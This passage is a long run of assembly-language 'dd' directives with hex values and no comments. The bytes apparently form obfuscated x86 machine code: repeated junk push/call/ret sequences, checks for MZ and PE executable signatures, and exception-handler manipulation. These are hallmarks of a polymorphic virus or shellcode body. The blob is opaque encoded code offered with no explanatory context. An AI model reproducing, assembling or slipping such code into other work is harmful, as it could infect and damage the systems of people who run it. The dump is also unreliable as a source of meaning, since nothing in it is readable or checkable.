247C895Fh, 24448104h, 1604h, 0C3574700h dd 2992D0C0h, 0E418159Dh, 0F8858905h, 6A05E811h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0B3D9C355h, 7E92316h, 42000000h, 0EE2C0333h, 9D8986EAh dd 5E4010Dh, 56E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 77DCFE5Ch, 0DDE58530h dd 8D23514Ah, 5E41A19h, 1FBBBB66h, 55006A40h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0E3D7C2C0h dd 28DCA9CBh, 80D78BCFh, 850F0038h, 0FFFFFFD0h, 1825952Bh dd 61E905E4h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 5C06C350h, 0C1BD8B4Dh dd 4805E413h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0DDC35242h, 0DC605D02h, 602A7AB1h, 97D08166h, 6870F7Dh dd 0F000000h, 89h, 0BD0B6100h, 5E401D5h, 0F5C3880h, 6384h dd 18810F00h, 0E8000000h, 0Ch, 9838096Dh, 14DA3687h, 0C8C9E3DDh dd 2C419D8Bh, 805F05E4h, 840F2F38h, 3Ch, 3BD3B70Fh, 0E811F885h dd 84830F05h, 6AFFFFFFh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 6822C357h, 0FABF0F60h dd 58A0Fh, 0DABA0000h, 6169BF48h, 59D8940h, 8305E423h dd 0E81200BDh, 840F0005h, 74h, 1CD58D29h, 895005E4h, 6A2404h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 70F32CC3h, 0EE9E688h, 38000000h, 0BF7EEF08h, 0D3A1BD06h dd 0BAF552AAh, 85038Dh, 6A05E812h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0D19EC356h dd 89437879h, 0E42B7985h, 0C605h, 0BD8958F5h, 5E41A4Dh dd 0FE950h, 50860000h, 5110AFC9h, 3F49929h, 396C1C7Fh dd 24048934h, 1335DA81h, 0B5FF6AFBh, 5E811ECh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 9BC35242h, 24728E31h dd 2ABD19B2h, 9995294Dh, 0FF05E403h, 0E811F095h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0FF8FB20Ah, 0B5BB7D9h, 41850FC0h, 61000000h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 4DC35141h, 0DBD58017h dd 11F485C7h, 105E8h, 8D0F0000h, 5, 0A7A69DB9h, 65E95Fh dd 95290000h, 5E42AC1h, 919D8B61h, 8105E420h, 11CC6h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 3D816B1Eh, 0E965B570h, 0FFFFFCCFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 80C35646h, 882E8BFh, 0E04AE2F9h dd 0D9BD29F5h, 6805E421h, 1F5CAE79h, 3481FB8Bh, 5C2E7924h dd 56006A1Fh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0F91E80E3h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0D38B71C3h dd 11FCB5FFh, 6A05E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0CF291C3h, 0FF1BDF80h, 0E40FF995h dd 0B9B52905h, 8B05E429h, 0E811F485h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 11E89086h, 18000000h, 0AEBF9649h, 0E2844D1Ch, 8D3DAC67h dd 60CF5E93h, 1ADEBB66h, 8B66505Bh, 8D8B90F9h, 5E4012Dh dd 1204858Dh, 6A05E8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 3247E3C3h, 8744395Ch, 17EA222h dd 0E41EBD8Dh, 52509005h, 880F60h, 0B5000000h, 310F61E3h dd 5050585Ah, 905FE5B1h, 0F9B70FF8h, 11C1858Dh, 840F05E8h dd 6, 1E15BD31h, 509005E4h, 198D0F52h, 0E9000000h, 14h dd 1325D5F3h, 55F67260h, 1B98DCB9h, 41AD0428h, 0BAF195C6h dd 585A310Fh, 19870F50h, 0F000000h, 1385h, 0DE800h, 45990000h dd 0FDF12EFBh, 189387ABh, 5B2259E6h, 0BD896090h, 5E42701h dd 10E861h dd 97540000h, 7F298F0Ch, 0FD3C2A22h, 659B5548h, 8B66BEE2h dd 95FF5FF9h, 5E41DFDh, 15458529h, 0C08B05E4h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F3C35747h, 1085958Bh dd 0BD8B05E4h, 5E4138Dh, 16A1BD83h, 750005E4h, 0DBD8309h dd 5E422h, 53501374h, 0D0B8C08Bh, 8D000004h, 0E6A7269Dh dd 5BD3FF05h, 0DBD8358h, 5E422h, 53501174h, 4D0B8h, 259D8D00h dd 0FF05E6A6h, 0F585BD3h, 488h, 0A9BB6600h, 56006A35h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 9589BD78h, 5E41B29h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 18EE0AC3h, 9D29253Bh dd 5E410B9h, 31BD0158h, 5705E42Dh, 0AE8h, 933AF100h, 0F577075Dh dd 0FECC34Dh, 86h, 0C2595F00h, 8BF50008h, 55006AC0h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 7FDE250Eh, 5DEEC981h, 9E974h, 44070000h, 23F7845h, 0E83057F7h dd 12h, 0C0AE5B4Fh, 0EBC5E79Ah, 0DBABF1D4h, 7191A1CBh dd 5AF8738Ch, 1227858Dh, 6A05E8h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 982D6FC3h, 28BD8589h dd 12E805E4h, 0F3000000h, 0EE514F53h, 6FB986B5h, 0FC284368h dd 63F17C8Dh, 58F78BCFh, 47BB6660h, 0BDB589DBh, 6105E40Fh dd 6E8DC081h, 9D8B0000h, 5E41F1Dh, 68h, 0ED8D8900h, 5F05E424h dd 1A75958Bh, 34FF05E4h, 0EA816607h, 0F59B2C9h, 0F181F6BFh dd 4FEB9E58h, 518ACE81h, 0C18163AEh, 26D3C7Dh, 9214EB81h dd 0F1813660h, 3E5AAA3Ah, 7E9h, 2C900B00h, 0C3F21EE5h dd 0F6816651h, 48F661Dh, 0BDBA6638h, 83F78BAFh, 0E96004EFh dd 0Ch, 2AC73D6Eh, 61AA80EFh, 0C1C05B59h, 6166EB80h, 9254FF81h dd 850FFFFFh, 1Ah, 0C1737ABEh, 32E936h, 97D00000h, 7D07B3F8h dd 44E773DFh, 0D321EA5h, 0F60C831h, 9D8BFBBFh, 5E40099h dd 0FF6CE961h, 0A3A1FFFFh, 0A9046414h, 81E81427h, 224FCE1Ch dd 8FB5419Ah, 0E0000BAh, 0EA81F0h, 83F00000h, 958914C2h dd 5E417A5h, 8D14EA83h, 0E8217585h, 0FF645005h, 35h, 25896400h dd 0 dd 0E8h, 0C22B5800h, 0FFF00025h, 388166FFh, 850F5A4Dh dd 12h, 3C50B70Fh, 3A81D003h, 4550h, 0A840Fh, 2D0000h dd 0E9000010h, 0FFFFFFD9h, 8589C88Bh, 5E41A95h, 0F3C4003h dd 890650B7h, 0E41B3995h, 50508B05h, 27859589h, 0F80505E4h dd 8B000000h, 0D1030C50h, 1CC99589h, 500305E4h, 51958908h dd 6405E408h, 58Fh, 0C4830000h, 13E904h, 8B510000h, 8110244Ch dd 0B0A9h, 100000h, 0C0335900h, 65BD83C3h, 5E422h, 24840Fh dd 85C60000h, 5E42A49h, 0A7D26847h, 0B5FFD49Ah, 5E426F5h dd 6D30858Dh, 0D0FF05E7h, 0D0FF006Ah, 22A98589h, 0D38B05E4h dd 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 155461BFh, 0B70FC08Bh, 8E9F8h, 0EB20000h dd 0D632717Fh, 0BD8334DAh, 5E416A1h, 83097500h, 0E4220DBDh dd 19740005h, 0C08B5350h, 438B8h, 15858900h, 8D05E422h dd 0E6A8EB9Dh, 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h dd 438B8h, 15858900h, 8D05E422h, 0E6A5DA9Dh, 5BD3FF05h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 8C92FA30h, 66A338CAh, 66EF88B9h, 0BD8BF28Bh dd 5E41AB9h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 9E5FD0C3h, 0E1C6D59Ah, 0E8FE606Fh dd 0Ch, 0B3A777F9h, 0D0225D24h, 3A1D4784h, 201D8D8Bh, 0E85E05E4h dd 7B2h, 425B529h, 858905E4h, 5E4229Dh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 4EC35646h, 0C547FCDAh dd 781E8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0D660D799h, 0F3268F8h, 0C181C9B7h dd 1C73D8C1h, 31798589h, 0C68105E4h, 7C68B825h, 745E8h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0E78166C2h, 8589E163h, 5E425F5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D7C35242h, 0E681C105h dd 1ED022C0h, 6F5E8h, 5D858900h, 6A05E400h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0D54DC357h dd 7A46CD5Fh, 890F7519h, 12h, 0DE9h, 98221500h, 853DEB1h dd 787D3620h, 0AFE86807h, 6A000006h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 6AE7C355h dd 0DE8h, 0C2273700h, 0C5A7A984h, 2162AFABh, 8D8BB2B8h dd 5E417B9h, 0FD858959h, 0F05E422h, 6BE8F0BFh, 8B000006h dd 0E412F5B5h, 3DB58905h, 8905E42Ah, 0E4021D85h, 71852905h dd 0E805E404h, 64Eh, 13E8h, 37387E00h, 5F640DB7h, 0DC1A8CC2h dd 89407533h, 2C4EC847h, 0F306F181h, 0B5F6102h, 0E41C098Dh dd 0BD858905h, 6A05E42Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 6CD2C353h, 1971F497h dd 695D5572h, 2B2D9529h, 0F3E805E4h, 89000005h, 0E4195DB5h dd 0FD858905h, 6A05E426h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 374AC350h, 19D413D9h dd 1A19B533h, 0BBE805E4h, 0B000005h, 0E404A9BDh, 4DB58905h dd 8905E408h, 0E4100185h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 87557CD1h dd 0EC09D96Dh, 8B601C06h, 0E41649B5h, 0E861F905h, 576h dd 89CE8B66h, 0E4138185h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 68A6DE7Ah dd 49BD3157h, 5F05E431h, 541E8h, 0FB8B5700h, 0D985895Eh dd 6A05E402h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 57F9C357h, 13E8F28Bh, 6A000005h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 9AE8C355h, 9D016D7Fh, 0BA621E55h, 0D55B58Bh dd 858905E4h, 5E4078Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 53C35141h, 165A4139h, 4BCE8C4h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0F27852C3h, 89F38BADh, 0E431ED85h, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 11E9D8h, 1BB30000h, 0B3928BA5h, 0C7A169A1h, 76FCDB5Eh dd 81304CD9h, 60953DF1h, 88C0F1Dh, 0F000000h, 288h, 0E8CA8B00h dd 44Ah, 2E85BD8Bh, 858905E4h, 5E41611h, 37E8FA8Bh, 89000004h dd 0E410E995h, 0D858905h, 0F05E424h, 23E8FAB7h, 8B000004h dd 0E42A8DBDh, 31858905h, 5105E420h, 0C88B6659h, 6A00B0h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 79C2DAC3h, 0F5FFC51h, 6AD8B6h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 5ABECBC3h, 6BAh, 1B4FBF00h dd 0C38B2A64h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0FEC35747h, 16C14A6Dh, 49B58BB1h, 0C105E416h, 0CF8B04E8h dd 6AE2F766h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 66DCC351h, 189638A7h, 5EBE3B93h dd 2B369D01h, 0F18166D8h, 8B5010CEh, 241C89FAh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F8C35242h, 0B794E22Bh dd 8B788DC0h, 0E40231BDh, 3995FF05h, 6A05E411h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0C894C357h, 0B3C8F215h, 880FFC57h, 0 dd 4DB50B5Bh, 8D05E428h, 0E42CF995h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 1A89E81Ch dd 14E9h, 0C3492F00h, 54AC3008h, 6DFC88B6h, 0F81CDB0h dd 7F9EAA27h, 0B9B58B41h, 8905E424h, 6A0442h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0F6810EC3h dd 4A7833A2h, 23A19589h, 0B58B05E4h, 5E41C11h, 21C1958Dh dd 0CB8B05E4h, 6A1A89h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 6C0EE1C3h, 0C9825BB3h, 0E818EBE9h dd 0Dh, 0D4589097h, 7B5AC48Ch, 378C7507h, 5F25B57Bh, 6A044289h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0A6F9C356h, 0DB640941h, 66F04AD2h, 5BCAC781h dd 299958Dh, 6A05E4h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0F35F1BC3h, 6A1A89B5h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 26E2C355h, 5848D181h, 0C7814619h, 436FC652h, 6A044289h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0C628C355h, 0B46A6D1Eh, 68D0Fh, 8D890000h dd 5E426CDh, 2C699529h, 958D05E4h, 5E40D7Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E6C35040h, 0DCA17C5Dh dd 6A1A89h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 2F4C5EC3h, 864C070Ch, 0FE9FAA2h, 0F4000000h dd 267E44EAh, 327264DAh, 0FA4F9659h, 42891517h, 36F18104h dd 8D7B2806h, 0E423C995h, 89F38B05h, 50006A1Ah, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 80014622h dd 0FBCED08Ch, 42891419h, 6820F04h, 81000000h, 4BB5F2E6h dd 0CE96Bh, 12AD0000h, 0B6A0A626h, 0FB9A9C0Ch, 958D1875h dd 5E41A1Dh, 1BBDBD89h, 1A8905E4h, 0CD65BFBFh, 4428966h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0D4C35343h dd 0BD8BB6E4h, 5E428E9h, 8DF28B66h, 0E4107D95h, 0FBBF0F05h dd 8D891A89h, 5E4110Dh, 6A044289h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 1B04C352h dd 7D584FE4h, 0BD9D893Ah, 8D05E427h, 0E4283995h, 0BD895205h dd 5E419A5h, 5E959h, 68100000h, 8956C01Ah, 0B58D2B1Ah dd 8905E416h, 5E80442h, 68000000h, 0F30216Ah, 2B398529h dd 0E95F05E4h, 0DAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 90C35343h, 5501F5A3h, 0EE8DBEAh, 29A9B58Bh dd 6A05E4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 46C35141h, 44956B22h, 0BA09DFD3h, 0CF8166A9h, 6A96E8h dd 68D0Fh, 810F0000h, 0 dd 2681BD8Bh, 6A05E4h, 6E8h, 0EB67B700h, 564990AEh, 19F1BD8Bh dd 595E05E4h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 61A4B6C3h, 5E8h, 5B739300h, 5FF86242h dd 0FA5BD89h, 95FF05E4h, 5E42751h, 51006AC3h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 9E64818h, 0C58ABCA3h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0BAC35747h dd 0EE9h, 0D5438300h, 0C54D275h, 166DEBAh, 8B757BA0h, 57006AC0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0E024D817h, 0B377552Ch, 0B58B2DF4h, 5E41CA5h, 16A1BD83h dd 750005E4h, 0DBD8309h, 5E422h, 53501974h, 38B8C08Bh dd 89000004h, 0E41A5585h, 529D8D05h, 0FF05E6A9h, 83585BD3h dd 0E4220DBDh, 17740005h, 38B85350h, 89000004h, 0E41A5585h dd 0F39D8D05h, 0FF05E6A5h, 6A585BD3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 540CC353h dd 0D82C3556h, 0F468F23h, 0C08BF0BFh, 19D5858Dh, 0B58905E4h dd 5E40D89h, 89DA8B50h, 820F2404h, 2, 6AD88Bh, 24D1BD8Bh dd 6A05E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 59C35747h, 8B575663h, 665F5BDFh, 858DFB8Bh, 5E82DEBh dd 1C1DBD8Bh, 0C08305E4h, 0CC8A6005h, 0FE89061h, 76000000h dd 695CC20Fh, 0FD544916h, 0C7382E90h, 0ACBBC1FFh, 5B30F2A6h dd 4BA6050h, 0B9670FCEh, 77BB16FDh, 6A9061h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 941A6C3h dd 9E964h, 30260000h, 35119F5Ah, 6AD46A0Dh, 6A006A00h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 9B13C356h, 0A195FF0Bh, 6A05E421h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 3550C353h, 0B8BE3986h, 8992D3A9h, 0E42D4D85h, 7F8D8D05h dd 6A05E79Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 6659C355h, 627AEF81h, 6AD1FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0F6F30AC3h, 71858914h, 8B05E40Fh, 0E42C61BDh, 95BD8305h dd 105E429h, 0A6850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 168C9EC3h, 0A2095756h dd 6A026A93h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0BCA4C357h, 0E2A09286h, 0B7D1BEBh dd 7899D0Bh, 0E85005E4h, 11h, 0FB044ED0h, 0EE84894Fh, 72C64472h dd 65EE01ECh, 28D0F87h, 60000000h, 4895B61h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0CDE2FA20h, 9D89572Bh, 5E41205h, 4595FF5Fh, 0B305E410h dd 0FA8B66A1h, 0CF2E9h, 0E800h, 815D0000h, 0E82DF5EDh dd 0E18D3105h, 6A05E421h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 2612C351h, 0CB6A0A6h dd 75FB9A9Ch, 20E59D8Bh, 0BD8B05E4h, 5E42715h, 8168858Dh dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0C58AB8C3h, 89EF8150h, 90574848h, 71014BFh dd 0BBBF5046h, 90434B03h, 2019D89h, 89BF05E4h, 64505187h dd 35FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 896489C3h, 25h, 21BB6600h, 2D85FFC7h dd 905E414h, 0E4238995h, 3FF6A05h, 0E412459Dh, 9DB5FF05h dd 8B05E422h, 0E415519Dh, 0AD95FF05h, 0E905E42Dh, 11Bh dd 17D1BB66h, 3259BD33h, 0B005E4h, 0A5CB05BBh, 2970E616h dd 0E400F58Dh, 3C71E405h, 0F8830F61h, 0E8000000h, 0Eh dd 0D8F0A148h, 432A13E7h, 860776F2h, 5660E37Bh, 6177B55Bh dd 0C8B60F5Bh, 6BAh, 0D98D0900h, 8B05E425h, 119D03C1h dd 0C105E422h, 850104E8h, 5E42869h, 89E2F766h, 0E411CD85h dd 0F9C82B05h, 0BD89D18Bh, 5E41C1Dh, 6E9h, 51858900h, 8B05E421h dd 0E42CF985h, 0E833B705h, 0Fh, 2AF8F8C6h, 66391E3Ah, 5D66A23Ah dd 0E93790FCh, 11h, 692EC3C7h, 0C4A06480h, 69961BAEh, 0F62536D8h dd 0C0835B66h, 0D59D8B07h, 8305E431h, 850100C0h, 5E41EEDh dd 830FD03Bh, 21h, 0D0D9D8Bh, 48E905E4h, 0F000000h, 1080h dd 0BE900h, 96F50000h, 0B1013993h, 34269065h, 758D8B0Ch dd 8B05E42Dh, 0E41EC59Dh, 1E18305h, 1D840Fh, 95010000h dd 5E427C9h, 2D75A583h, 0B7FE05E4h, 0F995890Ah, 0F05E42Ch dd 0E9DEBFh, 8D000000h, 0E7B645B5h, 8DBD8B05h, 105E41Bh dd 0E41415BDh, 33006A05h, 0E4116D9Dh, 0C195FF05h, 6A05E410h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 5D03C350h, 0A374C237h, 7A6B939h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 56D889C3h, 0E99F5891h, 0Ch, 3CC39D0Fh, 2C298AC4h, 5E46696Ch dd 6AFCE183h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 74DCC353h, 6AFC30D5h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 1796C355h, 82C85B21h, 0C67AA528h, 18519589h, 0C02B05E4h dd 2725BD89h, 0D22B05E4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 1AC35141h, 0DF1BBD50h, 0D780D1C1h, 0C233ADDAh dd 0D003E8D1h, 7504E983h, 89DA8BF4h, 0E4318D85h, 880D05h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0B52DFAC3h, 7E883h, 0B21A0000h, 0BD0B357Fh dd 0F19D2B54h, 5B05E430h, 4860Fh, 0BF660000h, 958BE35Fh dd 5E41095h, 658D8BF5h, 6A05E42Ch, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6705C352h dd 0F98B8B49h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 81E650C3h, 0D9BD0372h, 2905E41Bh, 0E40205BDh dd 35BD8305h, 5E421h, 43840Fh, 840F0000h, 0 dd 0B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 18919613h, 21B6CF84h, 0EB80D9C4h dd 308D8D90h, 0BF05E44Ch, 4CCF2DEDh, 0BF0FE1FFh, 0FDBD83F8h dd 5E430h, 45B840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0BFFF5EC3h, 114F1C94h dd 30FDBD83h, 0F0105E4h, 44784h, 699D8B00h, 8305E420h dd 0E430FDBDh, 860F0305h, 3FEh, 0EE9h, 49E60800h, 999E7C04h dd 0BBFAEB43h, 602D3D8Ch, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0F0C35141h, 12CDF357h, 619F6A06h, 8C6668B7h dd 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0EEA11E32h, 1458589h, 0E18005E4h, 56006A04h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 2A115ABAh, 89996989h, 0E4000985h, 0FC90A05h, 13084h dd 98D8900h, 8B05E42Ch, 0E42C9D85h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 2A816E43h dd 44C77799h, 58E0F85h, 0BF000000h, 523AA787h, 20998533h dd 6A05E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0E9261FC3h, 0B335171Ah, 0B3525050h, 66310FF9h dd 5AA4B2BBh, 24048958h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 81C35141h, 0BECB9293h, 6A006A5Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0B737C356h, 0F568F50Dh, 0E954555Fh, 6, 0C07292B8h, 3481923Eh dd 4A5C0A24h, 55006A54h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 89E84259h, 0E40859BDh, 5995FF05h dd 6A05E401h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 7B4BC356h, 0F8BF0F36h, 1B499D8Bh dd 858905E4h, 5E79F5Fh, 0FFFDBB66h, 1A0E9h, 6ABB6600h dd 57858B7Ah, 6A05E79Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0A5FDC353h, 27A9BD0Bh dd 0C705E4h, 18h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 45C35242h, 0B4E61DDBh, 6347FA1Fh, 19D8B45h, 8B05E425h dd 0E79F5BB5h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0E18D89D9h, 8B05E41Dh dd 0E42A2185h, 0E9DF8B05h, 10h, 0D06D1CCEh, 0FEA5E459h dd 0D431A16Bh, 7B34B337h, 0B70F0689h, 9D858BFFh, 8905E42Ch dd 0E40D5585h, 0A18D8905h, 8905E403h, 8E80446h, 28000000h dd 0F17C8DFCh, 661FCF63h, 5BBE48BBh, 1C70BB50h, 3489330Fh dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 8BE24F8Eh, 0E41BDDBDh, 57B5FF05h, 6805E79Fh dd 0F7E031A6h, 0BE860h, 0D1CE0000h, 5E11A689h, 0C8B022FDh dd 0D98B66C1h, 481615Eh, 3ED25924h, 0F605208h, 9E9F0BFh dd 0E6000000h, 0CFA7831Dh, 3F3CCCB3h, 858D5B61h, 5E79F5Fh dd 68A5DB81h, 5090057Fh, 90D88B66h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 6BC35646h, 776120C9h, 3E5BD8Bh dd 95FF05E4h, 5E40159h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 57C35141h, 0D14D63CFh, 0ADDC9C0Eh, 377844BBh dd 6A6146h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0EDD001C3h, 25898529h, 85C705E4h, 5E430FDh dd 3, 0AE956h, 7FDE0000h, 5DEEC981h, 6D471474h, 5FBD835Bh dd 5E79Fh, 50840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 503811C3h, 0D98B6652h dd 43E95Bh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 898771C3h, 5F57404Ch, 11FD9D01h dd 305005E4h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0F233235Ch, 81C67886h, 2FD1ABE3h dd 0FDBD8316h, 305E430h, 3CB850Fh, 0BD8B0000h, 5E4048Dh dd 9F5FBD83h, 0F0005E7h, 3B884h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0EA95A952h dd 5FB5FF9Bh, 0B305E79Fh, 1595FF15h, 6A05E41Ch, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0DA84C355h, 